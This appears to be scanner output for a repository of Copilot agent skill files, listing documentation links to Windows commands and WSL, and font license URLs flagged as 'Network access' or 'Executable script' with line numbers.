- [prnport](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnport) - Network accessline 600
- [prnqctl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnqctl) - Network accessline 601
- [prompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prompt) - Network accessline 602
- [pubprn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn) - Network accessline 603
- [pushd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pushd) - Network accessline 604
- [pushprinterconnections](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pushprinterconnections) - Network accessline 605
- [pwlauncher](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pwlauncher) - Network accessline 606
- [pwsh](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pwsh) - Network accessline 610
- [qappsrv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qappsrv) - Network accessline 611
- [qprocess](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qprocess) - Network accessline 612
- [query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query) - Network accessline 613
- [query process](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-process) - Network accessline 614
- [query session](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-session) - Network accessline 615
- [query termserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-termserver) - Network accessline 616
- [query user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-user) - Network accessline 617
- [quser](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/quser) - Network accessline 618
- [qwinsta](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qwinsta) - Network accessline 622
- [rd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rd) - Network accessline 623
- [rdpsign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rdpsign) - Network accessline 624
- [recover](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recover) - Network accessline 625
- [recover disk group](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recover_1) - Network accessline 626
- [refsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil) - Network accessline 627
- [refsutil compression](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-compression) - Network accessline 628
- [refsutil dedup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-dedup) - Network accessline 629
- [refsutil fixboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-fixboot) - Network accessline 630
- [refsutil iometrics](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-iometrics) - Network accessline 631
- [refsutil leak](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-leak) - Network accessline 632
- [refsutil salvage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-salvage) - Network accessline 633
- [refsutil streamsnapshot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-streamsnapshot) - Network accessline 634
- [refsutil triage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-triage) - Network accessline 635
- [reg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg) - Network accessline 636
- [reg add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-add) - Network accessline 637
- [reg compare](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-compare) - Network accessline 638
- [reg copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-copy) - Network accessline 639
- [reg delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-delete) - Network accessline 640
- [reg export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-export) - Network accessline 641
- [reg import](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import) - Network accessline 642
- [reg load](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-load) - Network accessline 643
- [reg query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-query) - Network accessline 644
- [reg restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-restore) - Network accessline 645
- [reg save](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-save) - Network accessline 646
- [reg unload](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-unload) - Network accessline 647
- [regini](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini) - Network accessline 648
- [regsvr32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32) - Network accessline 649
- [relog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/relog) - Network accessline 650
- [rem](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rem) - Network accessline 651
- [remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/remove) - Network accessline 652
- [ren](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ren) - Network accessline 653
- [rename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rename) - Network accessline 654
- [repair](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repair) - Network accessline 655
- [repair bde](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repair-bde) - Network accessline 656
- [repadmin](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc770963%28v=ws.11%29) - Network accessline 657
- [replace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/replace) - Network accessline 658
- [rescan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rescan) - Network accessline 659
- [reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reset) - Network accessline 660
- [reset session](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reset-session) - Network accessline 661
- [retain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/retain) - Network accessline 662
- [revert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/revert) - Network accessline 663
- [rexec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rexec) - Network accessline 664
- [risetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/risetup) - Network accessline 665
- [rmdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rmdir) - Network accessline 666
- [robocopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy) - Network accessline 667
- [route](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/route_ws2008) - Network accessline 668
- [rpcinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcinfo) - Network accessline 669
- [rpcping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcping) - Network accessline 670
- [rsh](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rsh) - Network accessline 671
- [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32) - Network accessline 672
- [rundll32 printui](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32-printui) - Network accessline 673
- [rwinsta](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rwinsta) - Network accessline 677
- [san](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/san) - Network accessline 678
- [sc config](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-config) - Network accessline 679
- [sc create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create) - Network accessline 680
- [sc delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-delete) - Network accessline 681
- [sc query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-query) - Network accessline 682
- [schtasks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks) - Network accessline 683
- [scwcmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd) - Network accessline 684
- [scwcmd analyze](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-analyze) - Network accessline 685
- [scwcmd configure](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-configure) - Network accessline 686
- [scwcmd register](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-register) - Network accessline 687
- [scwcmd rollback](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-rollback) - Network accessline 688
- [scwcmd transform](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-transform) - Network accessline 689
- [scwcmd view](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-view) - Network accessline 690
- [secedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit) - Network accessline 691
- [secedit analyze](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-analyze) - Network accessline 692
- [secedit configure](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-configure) - Network accessline 693
- [secedit export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-export) - Network accessline 694
- [secedit generaterollback](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-generaterollback) - Network accessline 695
- [secedit import](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-import) - Network accessline 696
- [secedit validate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-validate) - Network accessline 697
- [select](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select) - Network accessline 698
- [select disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-disk) - Network accessline 699
- [select partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-partition) - Network accessline 700
- [select vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-vdisk) - Network accessline 701
- [select volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-volume) - Network accessline 702
- [serverceipoptin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/serverceipoptin) - Network accessline 703
- [servermanagercmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/servermanagercmd) - Network accessline 704
- [serverweroptin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/serverweroptin) - Network accessline 705
- [set (environment variables)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set_1) - Network accessline 706
- [set (shadow copy)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set) - Network accessline 707
- [set context](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-context) - Network accessline 708
- [set id](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-id) - Network accessline 709
- [set metadata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-metadata) - Network accessline 710
- [set option](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-option) - Network accessline 711
- [set verbose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-verbose) - Network accessline 712
- [setlocal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal) - Network accessline 713
- [setspn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn) - Network accessline 714
- [setx](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setx) - Network accessline 715
- [sfc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sfc) - Network accessline 716
- [shadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shadow) - Network accessline 717
- [shift](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shift) - Network accessline 718
- [showmount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/showmount) - Network accessline 719
- [shrink](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shrink) - Network accessline 720
- [shutdown](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown) - Network accessline 721
- [simulate restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/simulate-restore) - Network accessline 722
- [sort](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sort) - Network accessline 723
- [start](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start) - Network accessline 724
- [subst](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/subst) - Network accessline 725
- [sxstrace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sxstrace) - Network accessline 726
- [sysmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sysmon) - Network accessline 727
- [sysocmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sysocmgr) - Network accessline 728
- [systeminfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo) - Network accessline 732
- [set device](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-device) - Network accessline 733
- [set drivergroup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-drivergroup) - Network accessline 734
- [set drivergroupfilter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-drivergroupfilter) - Network accessline 735
- [set driverpackage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-driverpackage) - Network accessline 736
- [set image](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-image) - Network accessline 737
- [set imagegroup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-imagegroup) - Network accessline 738
- [set server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-server) - Network accessline 739
- [set transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-transportserver) - Network accessline 740
- [start multicasttransmission](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-multicasttransmission) - Network accessline 741
- [start namespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-namespace) - Network accessline 742
- [start server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-server) - Network accessline 743
- [start transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-transportserver) - Network accessline 744
- [stop server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-stop-server) - Network accessline 745
- [stop transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-stop-transportserver) - Network accessline 749
- [takeown](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/takeown) - Network accessline 750
- [tapicfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tapicfg) - Network accessline 751
- [taskkill](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/taskkill) - Network accessline 752
- [tasklist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist) - Network accessline 753
- [tcmsetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tcmsetup) - Network accessline 754
- [telnet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet) - Network accessline 755
- [telnet close](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-close) - Network accessline 756
- [telnet display](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-display) - Network accessline 757
- [telnet open](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-open) - Network accessline 758
- [telnet quit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-quit) - Network accessline 759
- [telnet send](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-send) - Network accessline 760
- [telnet set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-set) - Network accessline 761
- [telnet status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-status) - Network accessline 762
- [telnet unset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-unset) - Network accessline 763
- [tftp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tftp) - Network accessline 764
- [time](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time) - Network accessline 765
- [timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/timeout) - Network accessline 766
- [title](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/title) - Network accessline 767
- [tlntadmn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tlntadmn) - Network accessline 768
- [tpmtool](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tpmtool) - Network accessline 769
- [tpmvscmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tpmvscmgr) - Network accessline 770
- [tracerpt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracerpt) - Network accessline 771
- [tracert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracert) - Network accessline 772
- [tree](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree) - Network accessline 773
- [tscon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tscon) - Network accessline 774
- [tsdiscon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsdiscon) - Network accessline 775
- [tsecimp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsecimp) - Network accessline 776
- [tskill](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tskill) - Network accessline 777
- [tsprof](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsprof) - Network accessline 778
- [type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type) - Network accessline 779
- [typeperf](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf) - Network accessline 780
- [tzutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tzutil) - Network accessline 784
- [unexpose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/unexpose) - Network accessline 785
- [uniqueid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/uniqueid) - Network accessline 786
- [unlodctr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/unlodctr) - Network accessline 787
- [ver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ver) - Network accessline 788
- [verifier](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/verifier) - Network accessline 789
- [verify](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/verify) - Network accessline 790
- [vol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vol) - Network accessline 791
- [vssadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin) - Network accessline 792
- [vssadmin delete shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows) - Network accessline 793
- [vssadmin list shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-shadows) - Network accessline 794
- [vssadmin list writers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-writers) - Network accessline 795
- [vssadmin resize shadowstorage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-resize-shadowstorage) - Network accessline 799
- [waitfor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor) - Network accessline 800
- [wbadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin) - Network accessline 801
- [wbadmin delete catalog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog) - Network accessline 802
- [wbadmin delete systemstatebackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup) - Network accessline 803
- [wbadmin disable backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-disable-backup) - Network accessline 804
- [wbadmin enable backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-enable-backup) - Network accessline 805
- [wbadmin get disks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-disks) - Network accessline 806
- [wbadmin get items](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-items) - Network accessline 807
- [wbadmin get status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-status) - Network accessline 808
- [wbadmin get versions](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-versions) - Network accessline 809
- [wbadmin restore catalog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-restore-catalog) - Network accessline 810
- [wbadmin start backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup) - Network accessline 811
- [wbadmin start recovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery) - Network accessline 812
- [wbadmin start sysrecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-sysrecovery) - Network accessline 813
- [wbadmin start systemstatebackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-systemstatebackup) - Network accessline 814
- [wbadmin start systemstaterecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-systemstaterecovery) - Network accessline 815
- [wbadmin stop job](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-stop-job) - Network accessline 816
- [wdsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil) - Network accessline 817
- [wecutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wecutil) - Network accessline 818
- [wevtutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil) - Network accessline 819
- [where](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/where) - Network accessline 820
- [whoami](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami) - Network accessline 821
- [winnt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt) - Network accessline 822
- [winnt32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt32) - Network accessline 823
- [winrs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs) - Network accessline 824
- [winsat mem](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winsat-mem) - Network accessline 825
- [winsat mfmedia](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winsat-mfmedia) - Network accessline 826
- [wmic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic) - Network accessline 827
- [writer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/writer) - Network accessline 828
- [wscript](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript) - Network accessline 832
- [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)
harness/github-copilot/skills/batch-files/references/windows-subsystem-on-linux.md
- Network accessline 5
- [WSL Home](https://learn.microsoft.com/en-us/windows/wsl/) - Network accessline 6
- [What is the Windows Subsystem for Linux (WSL)?](https://learn.microsoft.com/en-us/windows/wsl/about) - Network accessline 7
- [Install WSL](https://learn.microsoft.com/en-us/windows/wsl/install) - Network accessline 8
- [Install Linux on Windows Server](https://learn.microsoft.com/en-us/windows/wsl/install-on-server) - Network accessline 9
- [Manual install steps](https://learn.microsoft.com/en-us/windows/wsl/install-manual) - Network accessline 10
- [Best practices for setting up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment) - Network accessline 11
- [Comparing WSL 1 and WSL 2](https://learn.microsoft.com/en-us/windows/wsl/compare-versions) - Network accessline 12
- [What's new with WSL 2?](https://learn.microsoft.com/en-us/windows/wsl/compare-versions#whats-new-in-wsl-2) - Network accessline 13
- [Frequently Asked Questions](https://learn.microsoft.com/en-us/windows/wsl/faq) - Network accessline 14
- [Windows Subsystem for Linux is now open source](https://blogs.windows.com/windowsdeveloper/2025/05/19/the-windows-subsystem-for-linux-is-now-open-source/) - Network accessline 18
- [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/) - Network accessline 19
- [Windows Package Manager](https://learn.microsoft.com/en-us/windows/package-manager/) - Network accessline 20
- [Windows Insiders Program](https://insider.windows.com/getting-started) - Network accessline 24
- [Overview post with a collection of videos and blogs](https://devblogs.microsoft.com/commandline/learn-about-windows-console-and-windows-subsystem-for-linux-wsl/) - Network accessline 25
- [Command-Line blog](https://devblogs.microsoft.com/commandline/) - Network accessline 26
- [Windows Subsystem for Linux Blog](https://learn.microsoft.com/en-us/archive/blogs/wsl/) - Network accessline 27
- [GitHub issue tracker: WSL](https://github.com/microsoft/WSL/issues) - Network accessline 28
- [GitHub issue tracker: WSL documentation](https://github.com/MicrosoftDocs/WSL/issues) - Network accessline 34
- [Building and testing WSL](https://wsl.dev/dev-loop/) - Network accessline 35
- [Debugging WSL](https://wsl.dev/debugging/) - Network accessline 39
- [Overview](https://wsl.dev/technical-documentation/) - Network accessline 40
- [wsl.exe](https://wsl.dev/technical-documentation/wsl.exe/) - Network accessline 41
- [wslg.exe](https://wsl.dev/technical-documentation/wslg.exe/) - Network accessline 42
- [wslconfig.exe](https://wsl.dev/technical-documentation/wslconfig.exe/) - Network accessline 43
- [wslhost.exe](https://wsl.dev/technical-documentation/wslhost.exe/) - Network accessline 44
- [wslrelay.exe](https://wsl.dev/technical-documentation/wslrelay.exe/) - Network accessline 45
- [wslservice.exe](https://wsl.dev/technical-documentation/wslservice.exe/) - Network accessline 49
- [mini_init](https://wsl.dev/technical-documentation/mini_init/) - Network accessline 50
- [init](https://wsl.dev/technical-documentation/init/) - Network accessline 51
- [session leader](https://wsl.dev/technical-documentation/session-leader/) - Network accessline 52
- [relay](https://wsl.dev/technical-documentation/relay/) - Network accessline 53
- [gns](https://wsl.dev/technical-documentation/gns/) - Network accessline 54
- [localhost](https://wsl.dev/technical-documentation/localhost/) - Network accessline 55
- [plan9](https://wsl.dev/technical-documentation/plan9/) - Network accessline 59
- [Boot process](https://wsl.dev/technical-documentation/boot-process/) - Network accessline 60
- [Interop](https://wsl.dev/technical-documentation/interop/) - Network accessline 61
- [Drvfs & Plan9](https://wsl.dev/technical-documentation/drvfs/) - Network accessline 62
- [Systemd](https://wsl.dev/technical-documentation/systemd/)
harness/github-copilot/skills/brag-sheet/SKILL.md
- Network accessline 193
- [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)
harness/github-copilot/skills/bug-receipt/SKILL.md
- Network accessline 111
- [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)
harness/github-copilot/skills/bug-receipt/references/receipt.schema.json
harness/github-copilot/skills/bug-receipt/scripts/validate-receipt.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/skills/bug-reproduction-brief/SKILL.md
- Network accessline 111
- [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)
harness/github-copilot/skills/build-evidence-map/references/map-schema.md
harness/github-copilot/skills/build-evidence-map/scripts/contract.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/skills/build-evidence-map/scripts/validate.mjs
- Executable scriptline 1
#!/usr/bin/env node
harness/github-copilot/skills/canvas-design/LICENSE.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt
- Network accessline 1
Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt
- Network accessline 1
Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt
- Network accessline 1
Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt
- Network accessline 1
Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/DMMono-OFL.txt
- Network accessline 1
Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt
- Network accessline 1
Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Gloock-OFL.txt
- Network accessline 1
Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt
- Network accessline 1
Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/skills/canvas-design/canvas-fonts/Italiana-OFL.txt
harness/github-copilot/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt
- Network accessline 1
Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) - Network accessline 3
